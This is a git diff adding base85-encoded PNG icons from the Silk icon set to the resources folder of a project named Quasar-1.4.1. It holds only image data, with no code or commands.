0000000000000000000000000000000000000000..08b5da9891cffe3ee397f528734dc5de406c1c53 GIT binary patch literal 800 zcmV+*1K<3KP)ZO`s5Iy)3 z^blxIm6b3;gecZ(Yy%rC)TwiGbGzG}ySMLLQF<%r!0&t)?)Uq?-}!y#FkRR2KTG1< z)YR0ya=9F+R;zWjT8&jI6_cVUW*#+7V-|}=wcG8l$HvA+dH%@ANFRlt)6>(NEEo(P z5=AlB+uIASh6o0tU*6*C#bZ#Hp5f8^4%l3sh{qGxvf1ooBHIXD`he*5dLvz3U3Qnt zg;Xkq)zwvOY;2&}(}9nl*AXk6L{HyoFvhU5vT|7v1dA-okR*xa^Z7FpbvmUa5x+Y1OiB>)5zs=MougiJ1+6WwY4=gHa4PK@44?hVMmi8@CoU=D$G!@wY3GShap^=L#b{X2m10@ z&n_7S#P06yyH=~!aMt6jM_MtX%EaAUrYSh0en(>Y1KRyIoa!IIQ2%*U${9ERlE#EA|+nOZ}Sdl>J2yu_f-k7Rrn5_KL;CX@F` zj-{cYfh{gBGG2holXvKL zj1ND@#GC7oMGIcMnkfta^5QgId$>3{* ze^{whg4JrZPS6`MxN($ zfj|IE4Fy;cS$cyT*N#J5o50ie-Eg>ju(A@nnayUOQLuvslitsFc6Nq)dwXTK+l_cU zj#MgzOeTX?Z#QNZw-7C!#;Lw@AcP>9Ob&1yCrXk8K@doxP&hBpuE!h>2g2bnTrL;< zen03_K%at^mKH=J5zNia!Rd4&7z|=_a}&8-&Z>zCC2JfpB7y)(LieI{&0(l4=b%t3Dn*7w`;kx*auv>`)3D6J)nbUM*n-6rY{NcvxB$V8a7@*RZ=L^f5ifi zud7IK2idrK**&p5KU+&y>QLZq$nFq)OAwv5eohX$&YuRo_ewiIZ}U3o(0MaKQ72s_A300000NkvXXu0mjfhN@V) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..b5015b103aae138c81088270f9f11da15bcad8ac GIT binary patch literal 872 zcmV-u1DE`XP)gnzR}dAN!lccO`E2gRvSvH)rF`K)PSFY3td^OAd0KH5V99U5f`EqDcV&x zMR6f^BgHTE1J(~|N}8%wscm1=(3dp-m*hR?MORf<4%``LxaZz;?ww0CO~d~zPTvLw z1}+r}g+QrPT2rZ1NU>Pt^ZC4>pQ@@7Q4|%c)jARih0g2#Jv}{J>G5@FXlR-A_xGDw zmQDKoe&}o{plZ<%qd0MRBb1pz+<4LolcNpO)1P`}S-wfZCTcqM9jwRWiL|%3TOAGu zW@l$1NfHu?1lGG+@$B6aV(CtFY~2My2o@F=jxY=(8Vm+-97k4GR(5kVYm3QbLL?G_ z-EN1^=L3}jDh2iR^@v8J7#kad&1OR&5WwQ%B9h5u)h8B^Js{#1jMVXFUy z)3c{iscL&{vWy*WH^f{7ott>rw{%01?tm3E6jF_lUcANKSuaqVMJ|`C1|Y#;u#fij zGQEfvi-k1R$fWP|K9q?aHtS1R>;eThU}p3+Lid-|#k5+Tf!{Oqh^!u_dsp{rN6!r+ zHhcl|-(EpWA28sjN(nz}>M6Mxz&V;}e-eUODhLu)h9a yaBR0V-`VWowzs*V@x@p9_|mCESHd&@8t0!9oOz=HFLpWr0000D;+3^E$z4{$MYU~w{WF-|B0J{Ada(M245 zM5B?xRH<4DOwsYEL^vFoOr=tHX|O<{NFU%@T3P}kw@ic3zAP5Kq0fOcC&R$^&w90dyv`v)9HVCDVj?z;#J8&v)1#8j&)P*@IG zl|zUOWi=QUpz#kgwRGSCYTsBsga!vU78>(_w3lYQgq=;Lm~?kll}x< zsTfRnC<;VuXxc_Wst3z_yv0nfuLV zGo~m?i>7Hrk|ax`(Xg^p*L7mE*<`2F`Eqh{a)RZLjg1Y_V>2F)@0022=@UH9m!r`r zm>LQ&Bf0h(x3Bj>{`L%y-}b}d9Y8vr884MePbk)oS&!K&zg1I2=eM67YCDh(scw zt$?Wo8K(oRKQpcS=llS9qiX2 z96<5lIf8nff>aqj?g6Z}Kc^((5rJ^1fI14R(E?SsgQF9&+wOqp6+l<9sH!;W?889U zFltQ^pGV$9`s({jz^bpWuOr$W!CJ)wNuXoWWn3E^hej1?x<*Ykuv5t*(sKz1asw+; z9QsN>1XjILshHz&l}Z@y?KRE$NF_7y_hJSLRiWw%6iq=@s^Oe}1P4kTA4V4-(3wtb zZEZcEN^Bh+9b|cVnJ|LxTTQ5%3a=wT!J0{yt8ByB-i6id0v0!xAS|6)Apd$yH=hRe zCN)>4tuO;a?m==fIEqi(iDiyMZh}+n{@4V; nyF}D;{j00000NkvXXu0mjf57}={ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_link.png new file mode 100755 index 0000000000000000000000000000000000000000..d2ac9f9350ba1b79b64d454dd8bbdc21c718cb62 GIT binary patch literal 839 zcmV-N1GxN&P)jCRQ2LkQkC`7#N(`Wzd0W z)SBREOthvcHI*MJr3DJ5rS$iC&Lt3>eaX4^y_fTy`!1#sw(C4`CBTT>a|!bh(@DuI-T(Q z{h(Grt-#@MAQp>Zb#)bXyB)z`5WBm(I6OQQIq`Vhr*dK@lR-;M3#w)ho_{EzSd-8o zeg;X0+wIq2J3c1*YhacPOe7L$Yikp&%DfbdMRas@;LVQ;%9;$LjzTY^F6;35k68fs z_xA<3QmKFhzF?_x0a9B;p{^&O0#zo3NFs@rilzrmNCbm9kKcJ047kd9Rem(BaR#O$ zGKC^bI5{~HIhPrn7r0&vrlN&H0oiO8;cyrm8yh@jnf^D_m6eq+eQi}v`g*-y@9U9~kyi3WgY0VK*4RXJq0rgcDLhfD z)efjVITDGa|0&?}`4sBePbV&ufDQsFOqK4&Bigsgt;@9QNVhs^ktIfBe*xE3qL_Mp RB%c5P002ovPDHLkV1lB^g8={l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_small.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_small.png new file mode 100755 index 0000000000000000000000000000000000000000..454b0b0199df99a52603dc9d50fb108f138a36b5 GIT binary patch literal 489 zcmV4nF=aJh$b&b^ONN^wktaAf>FK-e!dO}leb)%S#D|82Kh z)M_Sl@!Vs?A}E~6 zxJaeYXf%+^<k76bVRR$kAvNPi6?SJ&zf9ynYGbI1cmq98A08I9RXOOm1)s zwryjvSh%L`L77Dy0Syt1$78SeE5LL*g=w0&Jh31V2O_bN3HMFS^-G}e*;M)Q6>s#cP zI`Y#S($G6W`W@NI5g|L-MKl0Zmu$m^(0~^Lwo5OO~d#(vPfz1rk%1hOvQ!2cN2d2?-uHXIEo8vToeK|KINWnNa4+Xt#u)Ykn|6RndSZEQHfCZG5CcC=T z`(o_NTOjbCK|GPF4%)<=%>`agEOIe^kJ+gSd~H}=`AYZIyJS-%Y|LeBxc&DE@kHvV zh>Ui%*7I#PNlilw1y@n@6l>qJC^2jm6{4Z3p@!y54^361Eu)pbu{`o1V_kbZ`MR$y zdh}&Y@Fjlr^zxZmgL6TIkJ-*qG#j-x`OjkRipD3485n}nXu!{oDbIFDjcz9A?M5% z2PG>yimcp1&>5MK%jHlg6reM+k&%A@^fo!tWxH|QR0Ma}26yDTXd(nZ3#(s)-0F2- zez{50^fbdT&}y|H>u{>mC3+bKC)$uY9*^5a08#oQKc4{{)TYPG8KIs|3 z4ORT?V0lH~l?0j&3hB7!W2DOBEbhsYf_b7(V%tAvUOfK}hzhb~cin-F00000 LNkvXXu0mjfWpp$z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..2803b567847e69fe64b0691dd30dc83d5cb8e61b GIT binary patch literal 689 zcmV;i0#5yjP)O%0M7oPLI-^+QP?|IL8KS>CIorH`X z#{U;kx03cgzm1lD&iP@kbCb?=Y=W5?V_7}Rrs(-_;>oo){}iC`H#cZ?N9}vbmIR%1 zFb>LqUnCTbuQtCJ{X9Zj;%93SH5XfYC4n}U-rJ%075Y!Dm1|o2KLgO>T-6vG~ zU~R__Y6#D#b0=pEa*kw>#ikhTYrejO78!u~M-2O{7X0h`!Spj`&?4f`5S^I6JW_j*t8PJ zvW&#i3M5M{M0yFvsP|eYai!-03M21;xEHWkv7}aG!u?@3_kw}O#>S}A=@c%POHdx# zsv8(Pr*i&jP~^wYdlkZ{=g+|{pU>AvYnt#p|5xdXh_44m_7@FzBa>dhI@OYE3e_<$ zZRa+6J1Xy+_7vT%DrKrF&msApA(l||?1t!-wtJm@9S82DmgjFPx>RjABG%JZH+%FO X1fWDOL6s`T00000NkvXXu0mjfK8`i% literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart.png new file mode 100755 index 0000000000000000000000000000000000000000..4f78fb19a53f1849ea18fa8961b9b34125dc46f6 GIT binary patch literal 368 zcmV-$0gwKPP)0jGj(iV3!S4(B8je<^mAvy`W=jp*qRq6}I}f$q8`|h_Q{v2CJm`;u&vNob%1+ zFTE3bc_WXf=r)TKd7ilBkrYJ|6xbt=P8JPU8$uwCxnN(OvLzElWQ?HH@yRt*9IXg} zIOLWj55y@DBZp3w2pL@1nvE1YlsO_Sqo`8DDH+YcIB{TSltFqyn9ByBS`o9#bjhhy z{T8LWWL7#q48U*oqI1PMHbxl0LVz@WOoh4|CK+d}wxLVuz{Ee_tm+3HY*XrpL8Ev8 O0000uCxwbv=KH9zoUDon>V zr>UxI+l z#KOV?tXAtCMJ|^E)z;P)Ha0epPNyNuGGeh9*4Njuva*6;Fo-}P0FTGRu}4QoI5;?f z$z&=kve_(-kB`yqcK=$PP6rN$<5RocMzvanBuNc}!7!r8WHP+bYPFEh=h197LA^$! zfn+j?{r!DJA`y-Wg+eHo%iPh-%*WOJf!=_4JdR?q$TO(d>pTNeCUT`x=_#{;C=?2$j;X1sGkv$Py1I(P z!$Twz39zJva5zj#0@-C@2}IWEbb{S(Co+D!Mh2YN-Q7j4Rs)eqd1+}0rBaCoa%Hv( z_V)ImR4Tvy@g2C`Zb};S^YgG+ER-}@($Hu$P#T`&g=Gkj-rm5_>p@&oUYt1fLwX|J ze5DHBL!@j);j;`WIfC2L1zdi5R^$Me%XOaFdp9>XM@hqIG(xY}Q_`58p2l6>Rjidv zSo>h6-65tPLP|ZR0blt578bWNJ3BinisDB`9zE&c`pZjrU$*1q7cN?9zz+a>(-SOd zeqB2|JMjDcJn8ZAag2?P;mWgfcq8A3P9ElDU1GT3!LQP4wNR;4n4FyKbHIS=TjBtW t@&m3+C;j&_I88CIp4At!{qxjQ|2w4%;hGY8=Cl9+002ovPDHLkV1ip>OPc@y literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..ac5bce5c8862ff091d89763a9c0ed19a70e639a5 GIT binary patch literal 742 zcmVy4^0M)9E7~PQm4Jv4X#i>2wOI zRH|*W+0?aK4YJwnF$x&tVRE%v1))#~tyT-vYBkjBbJSTCeRBEc-5YwfMssp)=!%M=N`K@UcJA@FCzC%1C**Ti`$vEb7M z#Ts?^`j+?NC4&`CzviI$={-Ftmv-4ojK||Q5M>V$A1;aO4mN*`U~|h0{MrYAk1s$V zk%C^Q=4}-zr;nG2V`{jav#X!KFy+1v0a22=1R0U3pl!)07)2~?QeZA!iu>VoZOn9222<0v z*_>{&&CTH?(D~_>E9czAE;OB+evM6@zV{=9K@6gc!wZM=Jmx!`m*JDd zXti1{0sD=&MB)B>h zj(dB1iPBK3)le#x=vNEzbD<6gv>$ulsz9%mV|S?@i=8F-(pG$_ppk5Ej^5pv75xEM zf{xusl6r}dvKW%*HQRYk?CI$_%_#l8tE&qNg#sGsBT%+y%-9~#(Hi_(tH2I3NvNX) z;nvG11Oh=ikAM+NOkTNME>t#DY%YGT$GlC3#7r6XqUG3{dx0foQL5o7FTsF?d_JGf zBVar&W^Bo>%S8OKyNa;p4kqi5!KW^T{q+?XI-6M=GqtF$u8#cmm?RPj8hPiC@pm9I zBgahBHJBbAPuc4(T&%6F74mpI0!G1WEW3Jyep_`W>ufH~I@+$gEu!-$3ti`La_RM5 T)9mKtTqbJf(rJ5aze{dD~bnS8HAT_H56d@9+Ejex4r>0Plb5p9Kbk0a~pV zy}i9qsZ`f^p->2<0)YU0J|8HG!sO&6#>dAoIywrw-42Vz0+Y!EywGFe(8k<{~On&vLD*(|1}rjW^GK@0DIP$=BL z>la2wMo=geFflO!mNehta1bZ{u+@ZwyEeU=v|z?wXYB9qCu02ejcl%#>FH@C5(yA7 zaWN(A3nlv*#Y@bUH#BJv}|>?(RmPstr-=WfYg4D1PX| z+JXy_p_>rgY1sMeBE7X;+V{qM(XjH)iemNw=tpPqZPkhyZ4G3?>tA;@7#J8h%94Jp zR;vkVbar+^BNre|HKVko2Qz;IbjKNNWg4-b8iS|n!uN>c+<{617FG*66$-^IsZ_cs z6}L68PA|W(;I5B}XC>>{C~{={N`xfU!b$^nr(4*yv@hRwsCqMf|CywvR-QL~~kw}D){QNqzvVhVWh2j#+V9D}J*-*~M zkb7aov*sg~Jpr=gtpqzxGl8~K4C}F8}}l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_go.png new file mode 100755 index 0000000000000000000000000000000000000000..20ee0584f61fbc7a4759ccda9a3d805460bc70c8 GIT binary patch literal 763 zcmVaV?~72n$)U z(3)sy@M190gjOOI`b?=sg7TQhow?pSp#)+iF`neiNzTl7zwe&&jl>wk|AggV0r7a8 zX_^K~DR{jhC6h^0f?*iYb^TC^j}E2)`u%?N_xEFMZ4FaXQ;QaHg>X1*0*(q*RWUg^ zS?cNO@nkX?%*@QJ@&lh)1oQIpGOSiB3WWkZ9uKnFEPOtn*>7)e$I{Xgy1Kexx7$7W zd>-j^S{xXS#bOCdBodJli3DqEYQo0GMu@*4)oL}QC<@^+L$WNBa=C2QQmJJ2x3{;& zb&5h+op^}*H8(d46+|%GY&Ig8IU^CwPN$P}cXz|(a*<##D2RlDg1}0(HBL`Yvw?vD z@S&nose}YrFbi<8SPZSWUy>cViI9E=xm*rILqpQO0ufx&gH$Soj*bqKIS>fI;c%GD zZnvB8y};Xg0k7y|!M<-E>7bD&CMH;IU1{43FhhfCP^i4;aRt!py^Q(QH~3s2*riI{ zyZb+w^fxEojfdIQ;7#a^`@_&-fT6rufYW*sbKhQLA@`QbRBbe!I6gjpp0nQL?6(BF zNZF;D;OzQWXj}#5YBXKLPvsZ-d=YGEI~KAsE7$FrpI4pYu#Msyv^Lo9efwma(rkj6oIv4xraO`e2x4AjJ z%qz7ynhQf^4{kb_bA{+YnXnXn>q!`dZ29f?yO6Y;L=T4x=brERp5Nyj5dcxGQ1bWi zI@E|~{sy#ouKYZ$PITH2MX0eH`#OyGSr(6+m;b-PEAA$uU*3ZMY)6yhB7WyXp%8+> zAVx+;;C8#8i_+;dXe=%+VqswcYW_at++FBCJi)tF7QwU?FUIcRmiauc_16it<#HMO z`}<&7HZNLQT0*5#!QtVd5R$PQFnoN9@TwDRLIcw$Ifj${c*!;4y8c4t;NSpTTU&5A z9N%mNqCsDmrec@N#qc~Yyx(Xv)*m;Rot?${ z`ntfNSS(_GejbJG0vO9#w772{J5NkZU~O%Ux}&eJ?_AXuVzC%Xr4r`m=0Hd@@pzm% zF?3u4i=kqR#li#v0V>9cHIhPIHk(DEPyiKgZf+tR4r60ugEkbL{eC}kxg5H>x{hkz z0mpF|9UX<&>&4K}5G4&l8YYto27>{5y&luk)6i%%NB=yeTG83rd8WO+9ZIG0dsTz+ z@$suBA+hMg@DQUsAr>6%U9UW+EYZKlsm&;344G1h9{W_ga)!^XZ4iT&V zc2}#_DuqI^L&PenRQjW;0l8@%AuX(HWn~4Elam7J?(S}AwOSA{d_JFW#-tWvv3R>C t1GCvI!0PSoJu!hyCR0fy5-P@@`Cr&f$(>anrvU%}002ovPDHLkV1l9|S^WS2 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_remove.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_remove.png new file mode 100755 index 0000000000000000000000000000000000000000..360217b526d10a3a39e0acfbc4f4a41bbf986734 GIT binary patch literal 769 zcmV+c1OEJpP)m=n&zdgPnpxQq~{D&6m05<{G#c-_mW$Ue%e~ zz`fum33Dj^=QhnX%iLgNfhl_HBn(1)`Sv`|L0V3t!;c4k&+q&F{hrVB69EvFi`xFH z7oJ5bQ0uv#KCgzxxfgF1Zyk>$Uqiq264jO~!hacPgc?kIl3+0(K z-c3zSVSIcXcDo&;qoXfG$z&2V;_)~HLBM9;{6hg6B#Qgj` z2x)G1c9wSH=(q$HN5y)*o^v{#RE#s2%AkjZ4IA?xgLIFL@K zA(zWf%I?ABO=O&hm&d$z@ZEbC6 zX=(XcV&HPQZjTa>l6HF&*VMp~gzprfM$L=2nF#@3kB zqM@PTdszlLosPj$sZ?hs5R1i<#>Pe}#-I7$7+=lQ6LRxi00000NkvXXu0mjf3)^L| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd.png new file mode 100755 index 0000000000000000000000000000000000000000..ef4322357cbc34e0b5eeed34f9fdf553a1de2ee7 GIT binary patch literal 673 zcmV;S0$%-zP)fk+XBT$+GFLor|=G~7Z=&Bd_^zJLLP z{dbOmhNM(Q`mp7h`OloWYysF>=iU40Tf#?V356IC6~fPKul?5pw+W80zw#nVEgemD zincj})E^?AZGqXAKHDz@mch}3iwfqB3rPo#(gwa141DiTF(xO6U^eE%d{-hX0gf3o z8{W?(@4ZV6pRS)EXbxQZMi1!D!oC#YJOO&yAsn%9V=twmsxF*P_%ZxvD(XXc8T9DS zr0103x=g@fvEJ!1y5C7b$Hz+ryB7+I5>V>_sj5lWnV>%bWD?LRmBAb^h}fbg923Y3 zqK41OM-q_X|0W}n)p3}pGlwoCoNU0Ppf+VweFB8`9D=Abd!7lXx6+7Cma$90A4ue; zVKQTfc(bHa=}i!!qJ}b>M^UnvkNQWze=dVN?ZJ22Mf(14f#NRkt=PP(cyuKepkb#y3Gz>xmDvuMC zIuoRtGlX&@?9*%nGA0rvwq8W9jW)GLrXJl50KN-ci9ozQ$MNkH;k<IV|^+8goU4jB6C^%Mg5h>3Q7RCr>7r_DEKw7k44$|vUmJAm;${=2wBT`(Pek9N? z+*$Z3+nYyu(=ufrbdbTWW%|!LE6aD^rgi=em@XcV9q^{200000NkvXX Hu0mjf|3D;c literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_add.png new file mode 100755 index 0000000000000000000000000000000000000000..b0254effa6c39214d063f84c2fab1ee1d95e162d GIT binary patch literal 758 zcmV|(^b7zP# z!cC-!Ea4|iEcUm)J+YH85|w#Z1iq+@Uy_1&;Q+DB9_;QYSgfJxJY>*Fo_n+CN42IR zCIj!+^O*7E@hzjEM4}qOVobxdO_Qd9kp*%UXjg&MQ%gC#SlNY;t3jo2G(fJ^;|&v| zWXtF>3^75HVOb8N zKuK|`Ca?<#@hXIf%;G#VkTzobG_!~aN`6KrYvBS5CW!6^34f{#D{ZRzdrrd}D>9AL zGB7QOFgj8gb0o38b=1K7y9l#O#_P2#k%6bpfakZfFfJsuhB3*R zao^OB+arCrI(!ZzGo!5~Xq&jQRe~S_(IODe6FI=YQ-&{5hUwE=44JRvqi-C1f`h?+ z7ncnu(K~pNZ?&;Ptr4k5KeK=<34DzJ_D~fcHWXZYbRM(br)23(`QX^Zktqx=R22ncUklHj|3B2M=Ej;gbFYo^Us{nc2wR$w1%nAHOrh o-8

    KW+XXJr$4Vwmaw01yHP87~i4a89>F#IhBV5<>KCsArFP3K~RSeQz_oh zrI?6k*^{KApkgXVk^-S;4JgBj@Sw>K?8r1a`rf5|ZHA$}k_wFus<@|IkY8-U*BsRpdG@9y&yGjX7CO zRCctKfax%N^+W$kflmurzBfKVdsYF@&%^o!7_P?t=(b_5@!*3LlXbabFe1f$%Lewv zJo8<3M4wv7behz6@+!rFc0Q4XdIW~77uwr|twv@m3tG=Wo%M<3f3Nec#*f;@*$N|c$wIj1 mc!64Lo@-XPV$E{ddh!>bnF*|Cn{Vd;0000)-`2Y0@ls8H{BED@;Y7( znup@NACB`ak|8Ccyr61IqqG|#8v$ljh-ERZgsAI#V$}67;fm$a<(oXv@@w_=5VH{= zFNcJ@Cz7RpAk1WVP1IsfVd)Gry^PU8KyC?nW)!-v0`kghjNT^mYZ=yf-V>sxJH&_= zrUEc9nULwEiKHPY0h+WD%|TpfTU!&e3UInSF<$j8N94ECdGiRVkB`yEZLGY# z!T0M2d2;bo@8&jUWov@6N57(A_rn(tv`^>wFqYxd*?lC%%(F_U+6fQJ2|YSW%Zbv3 zEe9zi+vN&DubA7Wbgbj6G`Uhn+q%7(!Yg`r7ahln^=(Jl8`t?M9kfs7u#RMCawf5z z-ox^XOCYB7EfY(E=V}qH6-C~E{!ETpjd6d*Sc8Gu`wU*$kFTnn#oHygFYlnUvN&g} xD7s_%kKbA0sJ(W+zvX19Pqi&0&nvUi{{g(`2CeVNupIyZ002ovPDHLkV1nU5V<`Xt literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..b0dc194b0525e847fbbe1241e93959a2f645c623 GIT binary patch literal 790 zcmV+x1L^#UP)-<$VlrT{=eK4py~mkA9q zM}&zO;URR)cG5pTu#nIa%IK^g^MN?lA~H6Ty9f%~_%Rm%v*mmWj|t?0N4kt2?5P<9 z<3PVHfj(yf(}E0%oK%9@m=E(k5IGRgGJ~if`y|P`b5cZyISPlUB18XZL0sLp=R~ww z0s6Q^sD42~rzL{r$iCC?tOVV71m10AGuWh8l2)0K$uI$x#b$ROqw@_r<9I(AMw>AV zR}fg)1T4!*I?fJ+9e^i+@P-~sU1eAqXaM)&8Z@sTjxzzy;TQ4Qv_%3ubQ3%V=i=!3 z5s7`-MRgx~-|hFXZuAxdQfF=sD~EhW25AmR?DXlEX66x>cCR$r0@|0T{bnsoKi zsQU%vKZ6KOyh7U5kG*vhxR2GDLjj$EhgQD{jXnh1>XCq@uc%ybJ%gGyA?>>l!S(=) zomFslRHLS;JC;2Hw;qGm5XuIBwTpC-8L+gUziW<0T~DA&7NoqDkOJjMEYxA;Qwe@^ z9NUCDyhQV=1P2cU(ts}kaCSQLOl>as4kZ6=#OI&F(|QvYJBP9T#?l^^QK8cCRHLOB zU^Wk7Ve}ED{S(q!6?Os@5GfOnt{C5@yzp!(M`g@!q%f6BKiUoVa2*`q-ymo$MQW`a z0{0m1wi5K4Jh1td ziw3gwEvyY!(OYvK(=&Fk0sHST@Ji4tFZ40?%caa8P5Q(0zkne2A0MmR4NNf_{a-Q?Lv zlXvM;av~}SDyB3_``6^JfkOrKJf+7H^|ViC(*KLFUZ5!dWWXp~#4k-8B?I}mDHLMq zJkxJeL{k@{r9ckn%M`oElqxuqmnGw=qF7W01(jQxeOcDG^wD6#r!lsw@hJg2NANak z$#PCepFmO!3@IgZ4yLetu_q2?5DLe1rr!J%gCx#ZNfv_!b8EXwaHyDnvxg-~PN$Qv z+8N;==Y(U1iieazYAf+uW==9D$>U=3e$P_D1L4Lc2jdeHc)ebR9*r=!o|Y=JN|U-W zaC(zCJV%Up4q4wXH+VcbiO=W5Fbq5%5BKd43B{}{gHY&u28Z{slsx-EmyIl<%2wsO zTrT{6KbB>&wY5bilVM?DfxEUI>g`M6t4;Lp=Ljbuo`pSA&|zj~hK-F4ve_*0c$`Qi zLNpph*L9R}b8|CSZOlt+lG3B?3 zhK9y$*+J5zU11H@BzbwK$l{kX=EFH=gIQb~7Ec2v>#=b=Hb(yb}@(&i(Y~tii#p5jVyfeAt}w2NTp(hoN0nO=D^FGowjKJbAceN z67Z(Wjp|-EIvhTDNfaPhjcJ&6A!H$dV+EHV^5Y@3rrCwk_9+-$0R-tEHIM@H^-u^W z2hhhMB4Ba&q0xyjiSwdby%(x4A_k`+k6?mc9%_AzV2}j_m{;z-p5|BEE1{^_j>0B8 z`mDh32|#D^&~#?um<0q1kZ35*IlxWS&#wu`0t`lr3+lE>3J{?BD&RdYp|W+532cnl zZDx4LG)AK_O##NSIT$Sxs~cE=_`~{#dKOSf=2sNbY4)(dbM zXPsdhaWO#ED1d92Kz@S_T|>(Q?vx$Jqnb;&P_PGOoeuPd1sDt?PH>Gj*<3;CCNYQ< z?J?Zd97dA*01}G#+@w}dAAbEhE%9^dAOyGM@-II3i!w^Zlj;JMxZ_VRZITUgms+KGy zYENT#MwBx;O%bu|C|lh@e5VndE7*=RFSjC2xe>8X*Wqf(5pd0!NYKQSd9(XO*1h#B zUM7A-!cUtI{o}LfF}rXuHwxF(C$TGi(_~zBM%1#~xWaX2@H^5YyxZ=t#)dS-nsEI; XafIoi2i@$300000NkvXXu0mjfN6%>) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar.png new file mode 100755 index 0000000000000000000000000000000000000000..9051fbc609b92b15af9be410e368b7adc20283b8 GIT binary patch literal 541 zcmV+&0^V&qIn(Wzh!))n z^W^$!aM&X3bCX~Vo|JLOLCb!-`g!yN7b-yh!|sbVZ|M~fElQAyiB?lO%sjz z7TJ==TTk%_A{ znxkIa+E~RC#EKF{U0G~y<6)R9(uCp7&f7|JN}RHwEO@{EgbF~D3a1<@ip|9yZb^6$ fo@6A$W#9P^w2GuX0-m@}00000NkvXXu0mjfB69Bi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_add.png new file mode 100755 index 0000000000000000000000000000000000000000..d283e846a29f929681435f01c961faf486f274a6 GIT binary patch literal 626 zcmV-&0*(ENP)v?QT{`n=t5=RT+5AJm{BbjCAW=lY$)Da?%jsp?V9`R99QPKcuTq)0YGwL-(m(ExjR zzuclKmIO;e`|<-qG<-6WDBZP8-RFN8Ox*-kikvBOrm?96F3M(~{l;?gmI5KBPtkOY!&7>tk<7nGEZ-Y!L3%G}C~r6|OhNInrl zqM|;42>1ZrLyRHVOl)v{XpDkl^VKAerZ3ijA_ypt(BA64R z80Y(Hh{E@82W;)EvAMI#{Pa^6UeD0o(N$jIQP(YWX%`EErHrMF_GXrsb|5O2g|h>< zS^xBg@!?5ceO{!qsIvO;9rd3>6eoS>vAY)*fLY))&;S3R-CpH1QEovYWmCYySByZom|YEI8%B`R1GhlckjSpUF2{PTyTgQ57!`qvAzz zqRdR~&DsJuuN>Roji{mtBqkobY_#vd1jR>XWmO0<(brXB&1n08mJz%tHYgGkF7Kde zWOG2edbw;-l@x>&gkty#&L?b01W`Jxk%o=`a4>!xRLNo_i;?DA#Yw`rNQlr?O*FQO zkb;nj!0T5a0S+Bz&3J533SUOB+cLz2Edb7!0B0cx1Yy-BTu_WtLQM456m2ONpPWm< z3*HBU4LBFb)jB#vz&Z#4yl1VYSf4On@v-dUl-%R=%v0j>7o=XtjZSd8_KjT4`eo<9 zdk{fPC>^W=_I0Z3g&_JCdpTCl)!obD|BB)W!1_yo3B|7_u;pC;i{dA52tYEI|a~eRQO%X$#2w7ptC!l0{32(CI}(lp$fzNf0TbdAIVWCque*=#U*c zs1=bX}|=>LcQ-(oKM)02%@YgMyfV)Z*0?hzBX{Wscn$j;|pZ= z;eni|cI*UIvKYx?Wa*~jBw<`6L?{&#Z+D%ewDO(PUH#kW=o{kSd#^D4^yxlMECXt z;eukEvaaP<_LisV?B9i}oT9lkil($nchFpz>AmAK$4E1Yk|LY`8%?Z1>mPePa^Zn`}{-!`% zaM+rqkm?3Rz&fywnYjs0?3*RhOXb#=D3;p7YJMBP#nj+F<`s-Hc=4FJqo8#IA;6Zc zFuaYa{0^@Te?-fJOU#U2W^#OiU(QZ2`on&fiY3b318nRm6U5_;BRjhDc+wywC!`Q* z89Ku!AAAgj$mCCFnECwyUrZn4kA+^k%ReJQi4uvTXjHP463=>ndzX2$|Hb^RSNljs kcg4)j9~}97>MsA`39(pz6}>#e>i_@%07*qoM6N<$f^l1B*8l(j literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_error.png new file mode 100755 index 0000000000000000000000000000000000000000..bdacea5e5e1657df6b370a33720220fde962ce6f GIT binary patch literal 671 zcmV;Q0$}}#P)k7dBh(1Fmof__N_LYSE8EF!#ZI!fu@I4kQj}7N4aJOW zC{yma4U+MF|Mzy@b1Xh-%A_f$PN&Y|cb@0eQ!z9Cr<%uF9ys^KvMNy^XC;afL^-u* zPGwwx5S8`aEr=>=AlbM$I5K_(E-5i9Uw#NF8`CB=QFA(eK-~#Z6rU8yMrbbh>11qx z9o*aaqAHdIOF}t+KOq`E8A+7tgv^M~|4^{07gVX_OeJT2K2m}hE@V=MuE~!$y6P$~ 